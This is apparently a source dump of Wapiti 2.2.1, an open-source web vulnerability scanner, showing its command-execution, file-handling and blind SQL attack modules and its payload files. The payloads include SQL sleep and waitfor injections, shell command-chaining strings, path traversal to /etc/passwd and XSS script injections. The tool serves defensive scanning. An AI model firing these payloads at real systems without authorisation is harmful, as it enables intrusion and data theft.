+ k + self.STD + "=") else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url def attackPOST(self, form): """This method performs the command execution with method POST""" page = form[0] dict = form[1] err = "" for payload in self.payloads: warn = 0 cmd = 0 err500 = 0 for k in dict.keys(): tmp = dict.copy() tmp[k] = payload if (page, tmp) not in self.attackedPOST: self.attackedPOST.append((page, tmp)) if cmd == 1: continue headers = {"Accept": "text/plain"} if self.verbose == 2: print "+ " + page print " ", tmp try: data, code = self.HTTP.send(page, self.HTTP.encode(tmp, form[3]), headers).getPageCode() except socket.timeout: data = "" code = "408" print _("Timeout in"), page print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("Timeout coming from") + " " + form[2]) else: err, cmd, warn = self.__findPatternInResponse(data, cmd, warn) if err != "": self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), err + " " + _("coming from") + " " + form[2]) print err, _("in"), page if self.color == 1: print " " + _("with params") + " =", \ self.HTTP.encode(tmp, form[3]).replace(k + "=", self.RED + k + self.STD + "=") else: print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.EXEC, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("500 HTTP Error code coming from") + " " + form[2] + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code in"), page print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] wapiti-2.2.1/src/attack/attack.py0000644000000000000000000000723211316442105015367 0ustar rootroot# Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os from file.auxtext import AuxText class Attack: """ This class represents an attack, it must be extended for any class which implements a new type of attack """ verbose = 0 color = 0 name = "attack" reportGen = None HTTP = None auxText = None doGET = True doPOST = True # List of modules (strs) that must be launched before the current module # Must be defined in the code of the module require = [] # List of modules (objects) that must be launched before the current module # Must be left empty in the code deps = [] # List of attack's url already launched in the current module attackedGET = [] attackedPOST = [] vulnerableGET = [] vulnerablePOST = [] CONFIG_DIR_NAME = "config/attacks" BASE_DIR = os.path.normpath(os.path.join(os.path.abspath(__file__),'../..')) CONFIG_DIR = BASE_DIR+"/"+CONFIG_DIR_NAME # Color codes STD = "\033[0;0m" RED = "\033[1;31m" YELLOW = "\033[1;33m" CYAN = "\033[1;36m" GB = "\033[0;30m\033[47m" allowed = ['php', 'html', 'htm', 'xml', 'xhtml', 'xht', 'xhtm', 'asp', 'aspx', 'php3', 'php4', 'php5', 'txt', 'shtm', 'shtml', 'phtm', 'phtml', 'jhtml', 'pl', 'jsp', 'cfm', 'cfml', 'py'] # The priority of the module, from 0 (first) to 10 (last). Default is 5 PRIORITY = 5 def __init__(self,HTTP,reportGen): self.HTTP = HTTP self.reportGen = reportGen self.auxText = AuxText() def setVerbose(self,verbose): self.verbose = verbose def setColor(self): self.color = 1 def loadPayloads(self,fileName): """This method loads the payloads for an attack from the specified file""" return self.auxText.readLines(fileName) def attackGET(self, page, dict, headers = {}): return def attackPOST(self, form): return def loadRequire(self, obj = []): self.deps = obj def attack(self, urls, forms): if self.doGET == True: for url, headers in urls.items(): dictio = {} params = [] page = url if url.find("?") >= 0: page = url.split('?')[0] query = url.split('?')[1] params = query.split('&') if query.find("=") >= 0: for param in params: dictio[param.split('=')[0]] = param.split('=')[1] if self.verbose == 1: print "+ " + _("attackGET") + " "+url if params != []: print " ", params self.attackGET(page, dictio, headers) if self.doPOST == True: for form in forms: if form[1] != {}: self.attackPOST(form) wapiti-2.2.1/src/attack/mod_file.py0000644000000000000000000002373611316442105015705 0ustar rootrootimport socket from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class mod_file(Attack): """ This class implements a file handling attack """ CONFIG_FILE = "fileHandlingPayloads.txt" name = "file" warning_messages = [ ("java.io.FileNotFoundException:", "Java include/open"), ("fread(): supplied argument is not", "fread()"), ("fpassthru(): supplied argument is not", "fpassthru()"), ("for inclusion (include_path=", "include()"), ("Failed opening required", "require()"), ("Warning: file(", "file()"), ("Warning: file(", "file()"), ("Warning: readfile(", "readfile()"), ("Warning: readfile(", "readfile()"), ("Warning: file_get_contents(", "file_get_contents()"), ("Warning: file_get_contents(", "file_get_contents()"), ("Warning: show_source(", "show_source()"), ("Warning: show_source(", "show_source()"), ("Warning: highlight_file(", "highlight_file()"), ("Warning: highlight_file(", "highlight_file()") ] def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.payloads = self.loadPayloads(self.CONFIG_DIR + "/" + self.CONFIG_FILE) def __findPatternInResponse(self, data, inc, warn): """This method searches patterns in the response from the server""" err = "" if data.find("root:x:0:0")>=0: err = "Unix include/fread" inc = 1 if data.find("[boot loader]")>=0: err = "Windows include/fread" inc = 1 if data.find("Google")>0: err = _("Remote include") inc = 1 for pattern, funcname in self.warning_messages: if data.find(pattern) >= 0 and warn == 0: err = "Warning " + funcname warn = 1 break return err, inc, warn def attackGET(self, page, dict, headers = {}): """This method performs the file handling attack with method GET""" if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return warn = 0 inc = 0 err500 = 0 for payload in self.payloads: err = "" url = page + "?" + self.HTTP.quote(payload) if url not in self.attackedGET: if self.verbose == 2: print "+ " + url self.attackedGET.append(url) if inc == 1: continue try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: data = "" code = "408" err = "" self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), _("Timeout (QUERY_STRING) in") + " " + str(page)) print _("Timeout (QUERY_STRING) in"), page print " " + _("caused by") + ":", url else: err,inc,warn = self.__findPatternInResponse(data,inc,warn) if err != "": self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), str(err) + " " + _("(QUERY_STRING) in") + " " + str(page)) print err, _("(QUERY_STRING) in"), page print " " + _("Evil url") + ":", url else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.quote(payload), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url for k in dict.keys(): warn = 0 inc = 0 err500 = 0 for payload in self.payloads: err = "" tmp = dict.copy() tmp[k] = payload url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) if url not in self.attackedGET: if self.verbose == 2: print "+ " + url self.attackedGET.append(url) if inc == 1: continue try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: data = "" code = "408" err = "" self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, url,self.HTTP.encode(tmp, headers["link_encoding"]), err + " (" + k + ")") print _("Timeout") + " (" + k + ") " + _("in"), page print " " + _("caused by") + ":", url else: err, inc, warn = self.__findPatternInResponse(data,inc,warn) if err != "": self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, url,self.HTTP.encode(tmp, headers["link_encoding"]), err + " (" + k + ")") if self.color == 0: print err, "(" + k + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print err, ":", url.replace(k + "=", self.RED + k + self.STD + "=") else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url def attackPOST(self, form): """This method performs the file handling attack with method POST""" page = form[0] dict = form[1] err = "" for payload in self.payloads: warn = 0 inc = 0 err500 = 0 for k in dict.keys(): tmp = dict.copy() tmp[k] = payload if (page, tmp) not in self.attackedPOST: self.attackedPOST.append((page, tmp)) if inc == 1: continue headers = {"Accept": "text/plain"} if self.verbose == 2: print "+ " + page print " ", tmp try: data, code = self.HTTP.send(page, self.HTTP.encode(tmp, form[3]), headers).getPageCode() except socket.timeout: data = "" code = "408" self.reportGen.logVulnerability(Vulnerability.RES_CONSUMPTION, Vulnerability.MEDIUM_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("Timeout coming from") + " " + form[2]) print _("Timeout in"), page print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] else: err, inc, warn = self.__findPatternInResponse(data, inc, warn) if err != "": self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), err + " " + _("coming from") + " " + form[2]) print err, _("in"), page if self.color == 1: print " " + _("with params") + " =", \ self.HTTP.encode(tmp, form[3]).replace(k + "=", self.RED + k + self.STD + "=") else: print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.FILE_HANDLING, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("500 HTTP Error code coming from") + " " + form[2] + "\n"+ VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code in"), page print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] wapiti-2.2.1/src/attack/mod_blindsql.py0000644000000000000000000002057611316442105016575 0ustar rootrootimport socket from attack import Attack from vulnerability import Vulnerability from vulnerabilitiesdescriptions import VulnerabilitiesDescriptions as VulDescrip # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class mod_blindsql(Attack): """ This class implements an SQL Injection attack """ CONFIG_FILE = "blindSQLPayloads.txt" blind_sql_payloads = [] TIME_TO_SLEEP = 6 name = "blindsql" require = ["sql"] PRIORITY = 6 excludedGET = [] excludedPOST = [] def __init__(self, HTTP, xmlRepGenerator): Attack.__init__(self, HTTP, xmlRepGenerator) self.blind_sql_payloads = self.loadPayloads(self.CONFIG_DIR + "/" + self.CONFIG_FILE) def setTimeout(self, timeout): self.TIME_TO_SLEEP = str(1 + int(timeout)) # first implementations for blind sql injection... # must had this to Vulnerability type def attackGET(self, page, dict, headers = {}): """This method performs the Blind SQL attack with method GET""" if dict == {}: # Do not attack application-type files if not headers.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (page.split(".")[-1] not in self.allowed) and page[-1] != "/": return elif headers["content-type"].find("text") == -1: return if page + "?__PAYLOAD__" in self.excludedGET: return err500 = 0 for payload in self.blind_sql_payloads: payload = self.HTTP.quote(payload.replace("__TIME__", self.TIME_TO_SLEEP)) url = page + "?__TIME__" if url not in self.attackedGET: self.attackedGET.append(url) url = page + "?" + payload if self.verbose == 2: print "+ " + url try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url,payload, _("Blind SQL Injection (QUERY_STRING)")) print _("Blind SQL Injection (QUERY_STRING) in"), page print " " + _("Evil url") + ":",url break else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, payload, VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url else: for k in dict.keys(): tmp = dict.copy() tmp[k] = "__PAYLOAD__" if page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) in self.excludedGET: return tmp[k] = "__TIME__" url_to_log = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) err500 = 0 for payload in self.blind_sql_payloads: if url_to_log not in self.attackedGET: tmp[k] = payload.replace("__TIME__", self.TIME_TO_SLEEP) url = page + "?" + self.HTTP.encode(tmp, headers["link_encoding"]) if self.verbose == 2: print "+ " + url try: data, code = self.HTTP.send(url).getPageCode() except socket.timeout: self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), _("Blind SQL Injection") + " (" + k + ")") if self.color == 0: print _("Blind SQL Injection") + " (" + k + ") " + _("in"), page print " " + _("Evil url") + ":", url else: print _("Blind SQL Injection") + ":", url.replace(k + "=", self.RED + k + self.STD + "=") # ok, one of the payloads worked # log the url and exit self.attackedGET.append(url_to_log) break else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, url, self.HTTP.encode(tmp, headers["link_encoding"]), VulDescrip.ERROR_500 + "\n" + VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code with") print " " + _("Evil url") + ":", url # none of the payloads worked self.attackedGET.append(url_to_log) def attackPOST(self, form): """This method performs the Blind SQL attack with method POST""" page = form[0] dict = form[1] for k in dict.keys(): tmp = dict.copy() tmp[k] = "__PAYLOAD__" if (page, tmp) in self.excludedPOST: return err500 = 0 for payload in self.blind_sql_payloads: tmp[k] = "__TIME__" if (page, tmp) not in self.attackedPOST: tmp[k] = payload.replace("__TIME__", self.TIME_TO_SLEEP) headers = {"Accept": "text/plain"} if self.verbose == 2: print "+ " + page print " ", tmp try: data, code = self.HTTP.send(page, self.HTTP.encode(tmp, form[3]), headers).getPageCode() except socket.timeout: self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("Blind SQL Injection coming from") + " " + form[2]) print _("Blind SQL Injection in"), page if self.color == 1: print " " + _("with params") + " =", \ self.HTTP.encode(tmp, form[3]).replace(k + "=", self.RED + k + self.STD + "=") else: print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] # one of the payloads worked. log the form and exit tmp[k] = "__TIME__" self.attackedPOST.append((page, tmp)) break else: if code == "500" and err500 == 0: err500 = 1 self.reportGen.logVulnerability(Vulnerability.BLIND_SQL_INJECTION, Vulnerability.HIGH_LEVEL_VULNERABILITY, page, self.HTTP.encode(tmp, form[3]), _("500 HTTP Error code coming from") + " " + form[2] + "\n"+ VulDescrip.ERROR_500_DESCRIPTION) print _("500 HTTP Error code in"), page print " " + _("with params") + " =", self.HTTP.encode(tmp, form[3]) print " " + _("coming from"), form[2] # none of the payloads worked. log the url and exit tmp[k] = "__TIME__" self.attackedPOST.append((page, tmp)) def loadRequire(self, obj = []): self.deps = obj for x in self.deps: if x.name == "sql": self.excludedGET = x.vulnerableGET self.excludedPOST = x.vulnerablePOST wapiti-2.2.1/src/scans/0000755000000000000000000000000011316441727013413 5ustar rootrootwapiti-2.2.1/src/vulnerability.py0000644000000000000000000000203511316442105015536 0ustar rootrootclass Vulnerability: #Constants SQL_INJECTION = _("SQL Injection") BLIND_SQL_INJECTION = _("Blind SQL Injection") FILE_HANDLING = _("File Handling") XSS = _("Cross Site Scripting") CRLF = _("CRLF") EXEC = _("Commands execution") RES_CONSUMPTION = _("Resource consumption") HTACCESS = _("Htaccess Bypass") BACKUP = _("Backup file") NIKTO = _("Potentially dangerous file") HIGH_LEVEL_VULNERABILITY = "1" MEDIUM_LEVEL_VULNERABILITY = "2" LOW_LEVEL_VULNERABILITY = "3" name = "" description = "" solution = "" references = {} def getName(self): return self.name def getDescription(self): return self.description def getSolution(self): return self.solution def getReferences(self): return self.references def setName(self, name): self.name = name def setDescription(self, description): self.description = description def setSolution(self, solution): self.solution = solution def setReferences(self, references): self.references = references wapiti-2.2.1/src/config/0000755000000000000000000000000011316441726013550 5ustar rootrootwapiti-2.2.1/src/config/attacks/0000755000000000000000000000000011316441726015202 5ustar rootrootwapiti-2.2.1/src/config/attacks/blindSQLPayloads.txt0000644000000000000000000000324011276602476021115 0ustar rootrootsleep(__TIME__)# 1 or sleep(__TIME__)# " or sleep(__TIME__)# ' or sleep(__TIME__)# " or sleep(__TIME__)=" ' or sleep(__TIME__)=' 1) or sleep(__TIME__)# ") or sleep(__TIME__)=" ') or sleep(__TIME__)=' 1)) or sleep(__TIME__)# ")) or sleep(__TIME__)=" ')) or sleep(__TIME__)=' 1 and sleep(__TIME__)# " and sleep(__TIME__)# ' and sleep(__TIME__)# " and sleep(__TIME__)=" ' and sleep(__TIME__)=' 1) and sleep(__TIME__)# ") and sleep(__TIME__)=" ') and sleep(__TIME__)=' 1)) and sleep(__TIME__)# ")) and sleep(__TIME__)=" ')) and sleep(__TIME__)=' ;waitfor delay '0:0:__TIME__'-- );waitfor delay '0:0:__TIME__'-- ';waitfor delay '0:0:__TIME__'-- ";waitfor delay '0:0:__TIME__'-- ');waitfor delay '0:0:__TIME__'-- ");waitfor delay '0:0:__TIME__'-- ));waitfor delay '0:0:__TIME__'-- '));waitfor delay '0:0:__TIME__'-- "));waitfor delay '0:0:__TIME__'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(__TIME__)-- 1 or pg_sleep(__TIME__)-- " or pg_sleep(__TIME__)-- ' or pg_sleep(__TIME__)-- 1) or pg_sleep(__TIME__)-- ") or pg_sleep(__TIME__)-- ') or pg_sleep(__TIME__)-- 1)) or pg_sleep(__TIME__)-- ")) or pg_sleep(__TIME__)-- ')) or pg_sleep(__TIME__)-- 1 and pg_sleep(__TIME__)-- " and pg_sleep(__TIME__)-- ' and pg_sleep(__TIME__)-- 1) and pg_sleep(__TIME__)-- ") and pg_sleep(__TIME__)-- ') and pg_sleep(__TIME__)-- 1)) and pg_sleep(__TIME__)-- ")) and pg_sleep(__TIME__)-- ')) and pg_sleep(__TIME__)-- wapiti-2.2.1/src/config/attacks/backupPayloads.txt0000644000000000000000000000003711233065606020702 0ustar rootroot~ .backup .bck .old .save .bak wapiti-2.2.1/src/config/attacks/execPayloads.txt0000644000000000000000000000002111067147730020356 0ustar rootroota;env a);env /e\0wapiti-2.2.1/src/config/attacks/fileHandlingPayloads.txt0000644000000000000000000000035711067147730022032 0ustar rootroothttp://www.google.fr/ /etc/passwd /etc/passwd\0 c:\\boot.ini c:\\boot.ini\0 ../../../../../../../../../../etc/passwd ../../../../../../../../../../etc/passwd\0 ../../../../../../../../../../boot.ini ../../../../../../../../../../boot.ini\0wapiti-2.2.1/src/config/attacks/xssPayloads.txt0000644000000000000000000000411411067147730020256 0ustar rootroot ipt>alert('__XSS__') ipt>alert('__XSS__')ipt> ipt>alert("__XSS__") ipt>alert("__XSS__")ipt> ipt>String.fromCharCode(0,__XSS__,1) ipt>String.fromCharCode(0,__XSS__,1)ipt> ipt src=http://__XSS__/x.js> ipt src=http://__XSS__/x.js>ipt> wapiti-2.2.1/src/config/vulnerabilities/0000755000000000000000000000000011316441726016751 5ustar rootrootwapiti-2.2.1/src/config/vulnerabilities/vulnerabilities.xml0000644000000000000000000001116211313735202022665 0ustar rootroot SQL Injection description http://www.owasp.org/index.php/SQL_Injection http://www.owasp.org/index.php/SQL_Injection http://en.wikipedia.org/wiki/SQL_injection http://en.wikipedia.org/wiki/SQL_injection Blind SQL Injection description http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.imperva.com/resources/adc/blind_sql_server_injection.html http://www.imperva.com/resources/adc/blind_sql_server_injection.html File Handling description http://www.owasp.org/index.php/Path_Traversal http://www.owasp.org/index.php/Path_Traversal http://www.acunetix.com/websitesecurity/directory-traversal.htm http://www.acunetix.com/websitesecurity/directory-traversal.htm Cross Site Scripting description http://www.owasp.org/index.php/Cross_Site_Scripting http://www.owasp.org/index.php/Cross_Site_Scripting http://en.wikipedia.org/wiki/Cross-site_scripting http://en.wikipedia.org/wiki/Cross-site_scripting CRLF description http://www.owasp.org/index.php/CRLF_Injection http://www.owasp.org/index.php/CRLF_Injection http://www.acunetix.com/websitesecurity/crlf-injection.htm http://www.acunetix.com/websitesecurity/crlf-injection.htm Commands execution description http://www.owasp.org/index.php/Command_Injection http://www.owasp.org/index.php/Command_Injection Resource consumption description http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification) http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification) Htaccess bypass description http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html Backup file description Testing for Old, Backup and Unreferenced Files (OWASP-CM-006) http://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006) Potentially dangerous file description The Open Source Vulnerability Database http://osvdb.org/ wapiti-2.2.1/src/config/language/0000755000000000000000000000000011316441726015333 5ustar rootrootwapiti-2.2.1/src/config/language/es/0000755000000000000000000000000011316441726015742 5ustar rootrootwapiti-2.2.1/src/config/language/es/LC_MESSAGES/0000755000000000000000000000000011316441726017527 5ustar rootrootwapiti-2.2.1/src/config/language/es/LC_MESSAGES/wapiti.mo0000644000000000000000000005126211316435741021367 0ustar rootroot    * @ T t   '  b _ v     " %7Ww  !!3Fe   2F1X   .EV[v 0J`~&*AV&q#"   ? ]k1  $#+E Yd4gG  #.RbJf]   $ 0 :FI1X.  "  0 ; G5S );p[a !oI#^&   ""!"7"g!%.%%%%d&&*'+(***)*!+:++R+~++++y- 50 @0L0l0~0-000001+1[192N2W2v222222$23%3D33U3>3333134 -4N4<5>\66 66666_88s9v9@:: ::;);A;I;c; w;;>;L;<<<)<8<J<#h<<<[<u< s= ~= = = ===3==s>6FFF| FdR$hR R RRtZ4&fkX6 hl|z}.Ogbo?:diQm"xNB 378'1\w 0vV+c-@Je[# L>DpsuK,_WE)M 2Un$T!G/~Sr5IjH(<9P*=C`]^YA%aFq R{;y(QUERY_STRING)(QUERY_STRING) in.htaccess bypass vulnerability:500 Error description500 HTTP Error code500 HTTP Error code coming from500 HTTP Error code in500 HTTP Error code with500 HTTP Error code.A report has been generated in the fileAccess-Based SQL InjectionAttack process interrupted. To perform again the attack, lauch Wapiti with "-i" or "-k" parameter.Attacking forms (POST)Attacking urls (GET)Backup fileBackup file descriptionBackup file found forBackup file solutionBlind SQL InjectionBlind SQL Injection (QUERY_STRING)Blind SQL Injection (QUERY_STRING) inBlind SQL Injection coming fromBlind SQL Injection descriptionBlind SQL Injection inBlind SQL Injection solutionCRLFCRLF InjectionCRLF Injection (QUERY_STRING) inCRLF descriptionCRLF solutionChoose the form you want to use :Command executionCommands executionCommands execution descriptionCommands execution solutionCross Site ScriptingCross Site Scripting descriptionCross Site Scripting solutionDB2 InjectionDownloading from the web...Enter a number : Error downloading Nikto databaseError fetching pageError getting urlError: The server did not understand this requestEvil urlFileFile HandlingFile Handling descriptionFile Handling solutionFormFormsForms InfoFound XSS inFound backup file !Found permanent XSS attacked byFound permanent XSS inFound raw XSS inFromHtAccess protection found:Htaccess BypassHtaccess bypass descriptionHtaccess bypass solutionInterbase InjectionIntputsInvalid link argumentJava.SQL InjectionLDAP InjectionLaunching moduleLoading modulesLooking for permanent XSSMSSQL-Based InjectionMake sure the url is correct.MethodMissing dependecies for moduleMySQL InjectionNo forms found in this page !No links or forms found in this page !NoticeOpenOracle InjectionPlease enter values for the folling form :PostgreSQL InjectionPotentially dangerous filePotentially dangerous file descriptionPotentially dangerous file solutionProblem with local nikto database.Raw XSSReferences:Remote includeReportResource consumptionResource consumption descriptionResource consumption solutionSQL InjectionSQL Injection descriptionSQL Injection solutionScan stopped, the data has been saved in the fileSelectsSource code:Sybase InjectionTextAreasThis scan has been saved in the fileTimeoutTimeout (QUERY_STRING) inTimeout coming fromTimeout inToTo continue this scan, you should launch Wapiti withTo continue this scan, you should launch Wapiti with the "-i" parameterURLSURLsURLs browsedURLs to browseUpload ScriptsUpload scripts foundWapiti-SVN (wapiti.sourceforge.net)XPath InjectionXSSYou can use it to perform attacks without scanning again the web site withYou can use it to perform attacks without scanning again the web site with the "-k" parameterattackGETattackPOSTattacked bycaused bycoming fromininjected from loaded, Wapiti will use it to perform the attacksloaded, the scan continueslswwwDocnot found, Wapiti will scan again the web siteparameterpreg_replace injectionwapityDocwithwith a browser to see this report.with fieldwith fieldswith paramsProject-Id-Version: PACKAGE VERSION Report-Msgid-Bugs-To: POT-Creation-Date: 2009-12-29 18:21+0100 PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE Last-Translator: FULL NAME Language-Team: LANGUAGE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (QUERY_STRING)(QUERY_STRING) enVulnerabilidad bypass .htaccess:Error interno del servidor. El servidor encontró una condición inesperada que le impide llevar a cabo la solicitud.Código de error HTTP 500Error HTTP 500 viniendo deError HTTP 500 enError HTTP 500 conError HTTP 500Un informe ha sido generado en el ficheroAcceso basado en Inyección SQLProceso de ataque interrumpido. Para realizar de nuevo el mismo ataque lanza Wapiti con el parametro "-i" o "-k"Atacando formularios (POST)Atacando URL (GET)Fichero de backupEs posible encontrar ficheros de backup o scripts en el servidor web que el administrador del sitio haya puesto ahí para guardar una versión antigua o ficheros de backup que han sido generados automáticamente por algún editor (por ejemplo Emacs). Estas copias pueden revelar información relevante para un atacante como código fuente o credencialesFichero de backup encontrado paraEl administrador del sitio debe manualmente borrar los ficheros de backup. También deberá reconfigurar su editor para desactivar la creación de estos ficheros de forma automática.Inyección ciega SQLInyección ciega SQL (QUERY_STRING)Inyección ciega SQL (QUERY_STRING) enInyección ciega SQL viniendo deLa inyección SQL ciega es una técnica que explota una vulnerabilidad que ocurre en la base de datos de una aplicación. Este tipo de vulnerabilidad es más difícil de detectar que la inyección SQL normal porque no muestra mensajes de error en la página web.Inyección ciega SQL enPara protegerse contra las inyecciones SQL, las entradas de información que el usuario introduce en la aplicación no deben ser directamente colocadas en sentencias SQL. En vez de eso, las entradas deben ser limipiadas, filtradas o bien se deben usar sentencias parametrizadas.CRLFInyección CRLFInyección CRLF (QUERY_STRING) enEl término CRLF se refiere al retorno de carro (ASCII 13, \r) y al salto de línea(ASCII 10, \n). Suelen usarse para delimitar la terminación de una línea, sin embargo, funcionan de forma diferente en los sistemas operativos más populares hoy en día. Por ejemplo: en Windows tanto el retorno de carro (CR) como el salto de línea (LF) son requeridos para indicar el final de la línea, mientras que en Linux/UNIX solo se necesita un salto de línea (LF). Esta combinación de retorno de carro y salto de línea se usa por ejemplo cuando se 